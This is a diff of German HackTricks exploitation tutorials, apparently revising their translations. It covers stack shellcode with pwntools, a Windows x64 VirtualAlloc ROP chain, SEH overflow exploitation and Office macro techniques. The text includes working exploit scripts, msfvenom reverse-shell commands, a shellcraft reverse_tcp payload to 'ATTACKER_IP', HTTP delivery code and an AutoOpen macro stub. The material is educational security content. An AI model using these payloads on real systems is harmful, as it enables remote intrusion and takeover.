struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Erkenntnisse:
|
||||
* Rufe `alloca()` niemals mit attacker-controlled sizes auf.
|
||||
* Chunked requests können die Form von server-side buffers drastisch verändern.
|
||||
* Validieren / begrenzen Sie jeden Wert, der aus client input abgeleitet wurde, *bevor* Sie ihn in memory allocations verwenden.
|
||||
* Rufe niemals `alloca()` mit vom Angreifer kontrollierten Größen auf.
|
||||
* Chunked requests können die Struktur serverseitiger Puffer drastisch verändern.
|
||||
* Validiere / begrenze jeden Wert, der aus Client-Eingaben abgeleitet wird *bevor* du ihn in Speicherallokationen verwendest.
|
||||
|
||||
## Referenzen
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so ändert, dass er auf die Position dieses Shellcodes zeigt und dessen Ausführung bewirkt. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte.
|
||||
**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so verändert, dass er auf die Position dieses shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unautorisierten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Im Folgenden eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte.
|
||||
|
||||
### C-Beispiel: Ein verwundbares Programm
|
||||
|
||||
Beginnen wir mit einem einfachen Beispiel für ein verwundbares C-Programm:
|
||||
Beginnen wir mit einem einfachen Beispiel eines verwundbaren C-Programms:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Dieses Programm ist aufgrund der Verwendung der Funktion `gets()` anfällig für einen buffer overflow.
|
||||
Dieses Programm ist aufgrund der Verwendung der `gets()`-Funktion anfällig für einen buffer overflow.
|
||||
|
||||
### Kompilierung
|
||||
|
||||
Um dieses Programm zu kompilieren und verschiedene Schutzmechanismen zu deaktivieren (um eine verwundbare Umgebung zu simulieren), können Sie den folgenden Befehl verwenden:
|
||||
Um dieses Programm zu kompilieren und verschiedene Schutzmechanismen zu deaktivieren (um eine verwundbare Umgebung zu simulieren), können Sie folgenden Befehl verwenden:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Deaktiviert den Stack-Schutz.
|
||||
- `-z execstack`: Macht den Stack ausführbar, was notwendig ist, um shellcode auszuführen, der auf dem Stack gespeichert ist.
|
||||
- `-no-pie`: Deaktiviert Position Independent Executable (PIE), wodurch es einfacher wird, die Speicheradresse vorherzusagen, an der unser shellcode liegen wird.
|
||||
- `-m32`: Kompiliert das Programm als 32-Bit ausführbare Datei; wird oft zur Vereinfachung bei der Exploit-Entwicklung verwendet.
|
||||
- `-z execstack`: Macht den Stack ausführbar, was nötig ist, um auf dem Stack gespeicherten Shellcode auszuführen.
|
||||
- `-no-pie`: Deaktiviert Position Independent Executable (PIE), wodurch es einfacher wird, die Speicheradresse vorherzusagen, an der sich unser Shellcode befindet.
|
||||
- `-m32`: Kompiliert das Programm als 32-Bit-Executable, oft verwendet für Einfachheit in der Exploit-Entwicklung.
|
||||
|
||||
### Python Exploit mit Pwntools
|
||||
### Python-Exploit mit Pwntools
|
||||
|
||||
So könnten Sie einen Exploit in Python mit **pwntools** schreiben, um einen **ret2shellcode** attack durchzuführen:
|
||||
So könntest du ein Exploit in Python mit **pwntools** schreiben, um einen **ret2shellcode**-Angriff durchzuführen:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Dieses Skript konstruiert eine Payload, die aus einer **NOP slide**, dem **shellcode**, besteht und überschreibt dann die **EIP** mit der Adresse, die auf die NOP slide zeigt, wodurch sichergestellt wird, dass der shellcode ausgeführt wird.
|
||||
Dieses Skript konstruiert ein Payload, das aus einem **NOP slide**, dem **shellcode** besteht und danach die **EIP** mit der Adresse überschreibt, die auf den NOP slide zeigt, wodurch sichergestellt wird, dass der shellcode ausgeführt wird.
|
||||
|
||||
Die **NOP slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren shellcode "einschlägt", unabhängig von der genauen Adresse. Passe das `p32()`-Argument an die Startadresse deines Buffers plus einen Offset an, um in die NOP slide zu landen.
|
||||
Der **NOP slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren shellcode "rutscht", unabhängig von der exakten Adresse. Passe das `p32()`-Argument an die Startadresse deines Buffers plus einem Offset an, um im NOP slide zu landen.
|
||||
|
||||
## Windows x64: NX umgehen mit VirtualAlloc ROP (ret2stack shellcode)
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
Auf modernen Windows-Systemen ist der Stack nicht ausführbar (DEP/NX). Eine gängige Methode, um dennoch stack-residenten shellcode nach einem stack BOF auszuführen, besteht darin, eine 64-Bit ROP chain zu bauen, die VirtualAlloc (oder VirtualProtect) aus der module Import Address Table (IAT) aufruft, um einen Bereich des Stacks ausführbar zu machen, und dann in den unmittelbar nach der chain angehängten shellcode zurückzuspringen.
|
||||
Auf modernen Windows-Systemen ist der Stack nicht ausführbar (DEP/NX). Eine gängige Methode, um trotzdem stack-resident shellcode nach einem stack BOF auszuführen, ist das Erstellen einer 64-bit ROP-Kette, die VirtualAlloc (oder VirtualProtect) aus der Import Address Table (IAT) eines Moduls aufruft, um einen Bereich des Stacks ausführbar zu machen und anschließend in den nach der Kette angehängten shellcode zurückzukehren.
|
||||
|
||||
Wichtige Punkte (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → wähle eine Adresse im aktuellen Stack (z. B. RSP), sodass der neu allocierte RWX-Bereich mit deinem Payload überlappt
|
||||
- RDX = dwSize → groß genug für deine chain + shellcode (z. B. 0x1000)
|
||||
- RCX = lpAddress → wähle eine Adresse im aktuellen Stack (z. B. RSP), sodass der neu zugewiesene RWX-Bereich mit deinem payload überlappt
|
||||
- RDX = dwSize → groß genug für deine Kette + shellcode (z. B. 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Direkt in den unmittelbar nach der chain platzierten shellcode zurückkehren.
|
||||
- Return direkt in den unmittelbar nach der Kette platzierten shellcode.
|
||||
|
||||
Minimale Strategie:
|
||||
1) Leak a module base (z. B. via format-string, object pointer, etc.), um unter ASLR absolute Gadget- und IAT-Adressen zu berechnen.
|
||||
2) Finde Gadgets, um RCX/RDX/R8/R9 zu laden (pop- oder mov/xor-basierte Sequenzen) und einen call/jmp [VirtualAlloc@IAT]. Falls du keine direkten pop r8/r9 hast, nutze arithmetische Gadgets, um Konstanten zu synthetisieren (z. B. r8=0 setzen und r9 wiederholt um 0x40 addieren, vierzig Mal, um 0x1000 zu erreichen).
|
||||
3) Platziere Stage-2 shellcode unmittelbar nach der chain.
|
||||
1) Leak eine Modulbasis (z. B. via a format-string, object pointer, etc.), um absolute Gadget- und IAT-Adressen unter ASLR zu berechnen.
|
||||
2) Finde Gadgets, um RCX/RDX/R8/R9 zu laden (pop- oder mov/xor-basierte Sequenzen) und einen call/jmp [VirtualAlloc@IAT]. Falls direkte pop r8/r9 fehlen, nutze arithmetische Gadgets, um Konstanten zu synthetisieren (z. B. setze r8=0 und addiere wiederholt r9=0x40 vierzigmal, um 0x1000 zu erreichen).
|
||||
3) Platziere stage-2 shellcode unmittelbar nach der Kette.
|
||||
|
||||
Beispiel-Layout (konzeptionell):
|
||||
Example layout (conceptual):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Mit einem eingeschränkten gadget set kannst du Registerwerte indirekt konstruieren, zum Beispiel:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → setzt r9 aus rbx, nullt r8 und kompensiert den Stack mit einem Junk-qword.
|
||||
- xor rbx, rsp; ret → initialisiert rbx mit dem aktuellen stack pointer.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → verschiebt den von RSP abgeleiteten Wert in RCX.
|
||||
Mit einer eingeschränkten Auswahl an Gadgets kannst du Registerwerte indirekt erzeugen, zum Beispiel:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → setzt r9 aus rbx, nullt r8 und kompensiert den Stack mit einem junk qword.
|
||||
- xor rbx, rsp; ret → initialisiert rbx mit dem aktuellen Stackzeiger.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → kopiert den von RSP abgeleiteten Wert in RCX.
|
||||
|
||||
Pwntools-Skizze (bei bekannter base und gadgets):
|
||||
Pwntools-Skizze (bei bekannter Basisadresse und Gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
@ -133,26 +133,26 @@ rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Tipps:
|
||||
- VirtualProtect funktioniert ähnlich, falls es vorzuziehen ist, einen bestehenden Buffer als RX zu markieren; die Parameterreihenfolge ist anders.
|
||||
- Wenn der Stack-Speicher knapp ist, alloziere RWX an einer anderen Stelle (RCX=NULL) und jmp zu diesem neuen Bereich, anstatt den Stack wiederzuverwenden.
|
||||
- Berücksichtige immer gadgets, die RSP anpassen (z. B. add rsp, 8; ret), indem du Junk qwords einfügst.
|
||||
- VirtualProtect funktioniert ähnlich, falls es vorzuziehen ist, einen bestehenden Buffer RX zu verwenden; die Parameterreihenfolge ist anders.
|
||||
- Wenn der Stack-Speicher knapp ist, alloziere RWX an einer anderen Stelle (RCX=NULL) und jmp in diese neue Region anstatt den Stack wiederzuverwenden.
|
||||
- Berücksichtige immer Gadgets, die RSP anpassen (z. B. add rsp, 8; ret), indem du Junk-qwords einfügst.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse über mehrere Ausführungen hinweg zuverlässig ist; andernfalls wird die Adresse, an der die Funktion gespeichert wird, nicht immer dieselbe sein und du würdest irgendeinen leak benötigen, um herauszufinden, wo die win function geladen ist.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, sonst wird die kompromittierte EIP-Rücksprungadresse niemals ausgeführt.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar wäre.
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse über Ausführungen hinweg zuverlässig ist, sonst ist die Adresse, an der die Funktion gespeichert wird, nicht immer gleich und du würdest irgendeinen leak benötigen, um herauszufinden, wo die win function geladen ist.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, sonst wird die manipulierte EIP-Rücksprungadresse nie ausgeführt.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection würde die Ausführung des shellcode im Stack verhindern, da diese Region nicht ausführbar wäre.
|
||||
|
||||
## Weitere Beispiele & Referenzen
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR mit stack address leak, Shellcode schreiben und zu diesem springen
|
||||
- 64bit, ASLR mit stack address leak, shellcode schreiben und dorthin springen
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR mit stack leak, Shellcode schreiben und zu diesem springen
|
||||
- 32 bit, ASLR mit stack leak, shellcode schreiben und dorthin springen
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR mit stack leak, Vergleich, um einen Aufruf von exit() zu verhindern, Variable mit einem Wert überschreiben, Shellcode schreiben und zu diesem springen
|
||||
- 32 bit, ASLR mit stack leak, Vergleich, um den Aufruf von exit() zu verhindern, Variable mit einem Wert überschreiben, shellcode schreiben und dorthin springen
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, kein ASLR, ROP-gadget, um den Stack ausführbar zu machen und zum Shellcode im Stack zu springen
|
||||
- arm64, no ASLR, ROP gadget, um den stack ausführbar zu machen und in den shellcode im stack zu springen
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
@ -2,24 +2,24 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation ist eine klassische x86 Windows-Technik, die die Structured Exception Handler-Kette ausnutzt, die auf dem Stack gespeichert ist. Wenn ein Stack-Buffer-Overflow die zwei 4-Byte-Felder überschreibt
|
||||
SEH-based exploitation ist eine klassische x86 Windows-Technik, die die auf dem Stack gespeicherte Structured Exception Handler-Kette ausnutzt. Wenn ein Stack-Buffer-Overflow die beiden 4-Byte-Felder überschreibt
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- nSEH: pointer to the next SEH record, und
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
kann ein Angreifer die Ausführung übernehmen, indem er:
|
||||
kann ein Angreifer die Ausführung übernehmen durch:
|
||||
|
||||
1) SEH auf die Adresse eines POP POP RET-Gadgets in einem nicht-geschützten Modul setzt, sodass beim Auslösen einer Exception das Gadget in angreifer-kontrollierte Bytes zurückkehrt, und
|
||||
2) nSEH verwendet, um die Ausführung umzuleiten (typischerweise ein short jump) zurück in den großen überlaufenden Buffer, in dem sich Shellcode befindet.
|
||||
1) Setzen von SEH auf die Adresse eines POP POP RET gadget in einem nicht-geschützten Modul, so dass beim Dispatchen einer Exception das Gadget in angreifer-kontrollierte Bytes zurückkehrt, und
|
||||
2) Verwenden von nSEH, um die Ausführung umzuleiten (typischerweise ein kurzer Sprung) zurück in den großen überlaufenden Buffer, in dem sich Shellcode befindet.
|
||||
|
||||
Diese Technik ist spezifisch für 32-bit Prozesse (x86). Auf modernen Systemen sollte man ein Modul ohne SafeSEH und ASLR für das Gadget bevorzugen. Bad characters beinhalten oft 0x00, 0x0a, 0x0d (NUL/CR/LF) aufgrund von C-Strings und HTTP-Parsing.
|
||||
Diese Technik ist spezifisch für 32-Bit-Prozesse (x86). Auf modernen Systemen bevorzugt man ein Modul ohne SafeSEH und ASLR für das Gadget. Bad characters beinhalten oft 0x00, 0x0a, 0x0d (NUL/CR/LF) aufgrund von C-strings und HTTP-Parsing.
|
||||
|
||||
---
|
||||
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
|
||||
- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
|
||||
- Lasse den Prozess abstürzen und überprüfe, dass die SEH-Kette überschrieben ist (z. B. in x32dbg/x64dbg, check the SEH view).
|
||||
- Sende ein cyclic pattern als überlaufende Daten und berechne die Offsets der beiden dwords, die in nSEH und SEH landen.
|
||||
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
```bash
|
||||
@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
Validiere, indem du Marker an diesen Positionen platzierst (z. B. nSEH=b"BB", SEH=b"CC"). Halte die Gesamtlänge konstant, um den Absturz reproduzierbar zu machen.
|
||||
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
|
||||
|
||||
---
|
||||
|
||||
## Auswahl eines POP POP RET (SEH gadget)
|
||||
## Choosing a POP POP RET (SEH gadget)
|
||||
|
||||
Du brauchst eine POP POP RET-Sequenz, um den SEH-Frame aufzulösen und in deine nSEH-Bytes zurückzukehren. Finde sie in einem Modul ohne SafeSEH und idealerweise ohne ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` dann `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` um POP POP RET gadgets und den SafeSEH-Status aufzulisten.
|
||||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||
|
||||
Wähle eine Adresse, die keine badchars enthält, wenn sie little-endian geschrieben wird (z. B. `p32(0x004094D8)`). Bevorzuge Gadgets innerhalb der vulnerable binary, wenn Schutzmechanismen dies erlauben.
|
||||
Wähle eine Adresse, die keine badchars enthält, wenn sie little-endian geschrieben wird (z. B. `p32(0x004094D8)`). Bevorzuge Gadgets innerhalb des vulnerable binary, wenn die Schutzmechanismen das erlauben.
|
||||
|
||||
---
|
||||
|
||||
## Jump-back technique (short + near jmp)
|
||||
|
||||
nSEH ist nur 4 Bytes groß, was höchstens einen 2-Byte short jump (`EB xx`) plus padding zulässt. Wenn du Hunderte Bytes zurückspringen musst, um den Anfang deines Buffers zu erreichen, benutze einen 5-Byte near jump, der direkt vor nSEH platziert wird, und kette darauf mit einem short jump aus nSEH.
|
||||
nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
|
||||
|
||||
Mit nasmshell:
|
||||
With nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
@ -61,7 +61,7 @@ EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
Layout-Idee für eine 1000-Byte-Payload mit nSEH bei Offset 660:
|
||||
Layout-Idee für eine 1000-byte payload mit nSEH bei Offset 660:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
@ -72,16 +72,16 @@ payload += p32(0x004094D8) # SEH: POP POP RET (no badc
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
Ablauf der Ausführung:
|
||||
- Eine Exception tritt auf; der Dispatcher verwendet das überschreibene SEH.
|
||||
- POP POP RET führt zur Übergabe der Kontrolle an unser nSEH.
|
||||
- nSEH führt `jmp short -8` aus, das in den 5-Byte near jump springt.
|
||||
- Es tritt eine Exception auf, der Dispatcher verwendet die überschriebenen SEH.
|
||||
- POP POP RET sorgt für das Unwinden und führt so zur Ausführung unseres nSEH.
|
||||
- nSEH führt `jmp short -8` in den 5-Byte near jump aus.
|
||||
- Der near jump landet am Anfang unseres Buffers, wo der NOP sled + shellcode liegen.
|
||||
|
||||
---
|
||||
|
||||
## Bad characters
|
||||
|
||||
Erstelle einen vollständigen badchar string und vergleiche den Stack-Speicher nach dem Crash; entferne Bytes, die vom Zielparser verfälscht werden. Bei HTTP-basierten overflows sind `\x00\x0a\x0d` fast immer ausgeschlossen.
|
||||
Erstelle einen vollständigen badchar-String und vergleiche den Stack-Speicher nach dem Crash, entferne Bytes, die vom Zielparser verfälscht werden. Bei HTTP-basierten Overflows sind `\x00\x0a\x0d` fast immer ausgeschlossen.
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
@ -90,21 +90,21 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for
|
||||
|
||||
## Shellcode generation (x86)
|
||||
|
||||
Verwende msfvenom mit deinen badchars. Ein kleines NOP sled hilft, Abweichungen bei der Landung zu tolerieren.
|
||||
Verwende msfvenom mit deinen badchars. Ein kleines NOP sled hilft, Positionsabweichungen zu tolerieren.
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
Wenn man es zur Laufzeit generiert, ist das Hex-Format praktisch, um es in Python einzubetten und zu unhexen:
|
||||
Wenn man es on the fly generiert, ist das hex-Format praktisch, um es in Python einzubetten und zu unhexen:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## Ausliefern über HTTP (präzise CRLF + Content-Length)
|
||||
## Senden über HTTP (präzise CRLF + Content-Length)
|
||||
|
||||
Wenn der verwundbare Vektor ein HTTP request body ist, erstelle eine rohe request mit exakten CRLFs und Content-Length, sodass der Server den gesamten überlaufenden Body liest.
|
||||
Wenn der verwundbare Angriffsvektor der HTTP-Request-Body ist, erstelle eine rohe Anfrage mit exakt passenden CRLFs und korrekter Content-Length, damit der Server den gesamten überlaufenden Body liest.
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
@ -127,19 +127,19 @@ p.close()
|
||||
|
||||
## Werkzeuge
|
||||
|
||||
- x32dbg/x64dbg — um die SEH chain zu beobachten und den crash zu triagieren.
|
||||
- ERC.Xdbg (x64dbg plugin) — zur Auflistung von SEH gadgets: `ERC --SEH`.
|
||||
- x32dbg/x64dbg, um die SEH-Kette zu beobachten und den Crash zu analysieren.
|
||||
- ERC.Xdbg (x64dbg plugin), um SEH-Gadgets aufzulisten: `ERC --SEH`.
|
||||
- Mona als Alternative: `!mona modules`, `!mona seh`.
|
||||
- nasmshell — zum Assemblieren kurzer/near jumps und zum Kopieren roher Opcodes.
|
||||
- pwntools — zum Erstellen präziser Netzwerk-Payloads.
|
||||
- nasmshell, um short/near jumps zu assemblieren und rohe opcodes zu kopieren.
|
||||
- pwntools, um präzise Netzwerk-Payloads zu erstellen.
|
||||
|
||||
---
|
||||
|
||||
## Hinweise und Einschränkungen
|
||||
|
||||
- Gilt nur für x86-Prozesse. x64 verwendet ein anderes SEH-Schema und SEH-basierte Exploits sind in der Regel nicht realisierbar.
|
||||
- Bevorzugt Gadgets in Modulen ohne SafeSEH und ASLR; ansonsten ein ungeschütztes, in den Prozess geladenes Modul finden.
|
||||
- Service watchdogs, die bei einem crash automatisch neu starten, können die iterative Exploit-Entwicklung erleichtern.
|
||||
- Gilt nur für x86-Prozesse. x64 verwendet ein anderes SEH-Schema und SEH-basierte Exploitation ist generell nicht praktikabel.
|
||||
- Bevorzuge Gadgets in Modulen ohne SafeSEH und ASLR; andernfalls finde ein ungeschütztes Modul, das im Prozess geladen ist.
|
||||
- Service-Watchdogs, die bei einem Crash automatisch neu starten, können die iterative Exploit-Entwicklung erleichtern.
|
||||
|
||||
## Referenzen
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## Office-Dokumente
|
||||
|
||||
Microsoft Word führt eine Validierung der Datei-Daten durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifikation der Datenstrukturen gemäß dem OfficeOpenXML-Standard. Falls während der Identifikation der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet.
|
||||
Microsoft Word führt vor dem Öffnen einer Datei eine Validierung der Dateidaten durch. Die Datenvalidierung erfolgt in Form der Identifikation der Datenstruktur gemäß dem OfficeOpenXML-Standard. Tritt während der Identifikation der Datenstruktur ein Fehler auf, wird die analysierte Datei nicht geöffnet.
|
||||
|
||||
In der Regel verwenden Word-Dateien mit Makros die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und dennoch ihre Fähigkeit zur Ausführung von Makros beizubehalten.\
|
||||
Zum Beispiel unterstützt eine RTF-Datei von vornherein keine Makros, aber eine als RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann Makros ausführen.\
|
||||
Die gleichen Interna und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und trotzdem die Ausführungsfähigkeit der Makros beizubehalten.\
|
||||
Zum Beispiel unterstützt eine RTF-Datei per Design keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann Makros ausführen.\
|
||||
Dieselben Interna und Mechanismen gelten für alle Programme der Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von bestimmten Office-Programmen ausgeführt werden:
|
||||
Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX-Dateien, die auf eine Remote-Vorlage verweisen (File –Options –Add-ins –Manage: Templates –Go) und macros enthalten, können macros ebenfalls “ausführen”.
|
||||
DOCX-Dateien, die auf eine entfernte Vorlage verweisen (File –Options –Add-ins –Manage: Templates –Go), die macros enthält, können ebenfalls macros “ausführen”.
|
||||
|
||||
### Externes Laden von Bildern
|
||||
|
||||
Gehe zu: _Insert --> Quick Parts --> Field_\
|
||||
_**Kategorien**: Links and References, **Feldnamen**: includePicture, und **Filename or URL**:_ http://<ip>/whatever
|
||||
_**Kategorien**: Links and References, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
@ -29,12 +29,12 @@ Es ist möglich, macros zu verwenden, um arbitrary code aus dem Dokument auszuf
|
||||
|
||||
#### Autoload-Funktionen
|
||||
|
||||
Je häufiger sie sind, desto wahrscheinlicher erkennt AV sie.
|
||||
Je häufiger sie sind, desto wahrscheinlicher ist es, dass AV sie erkennt.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Macros Code Examples
|
||||
#### Macros Code-Beispiele
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
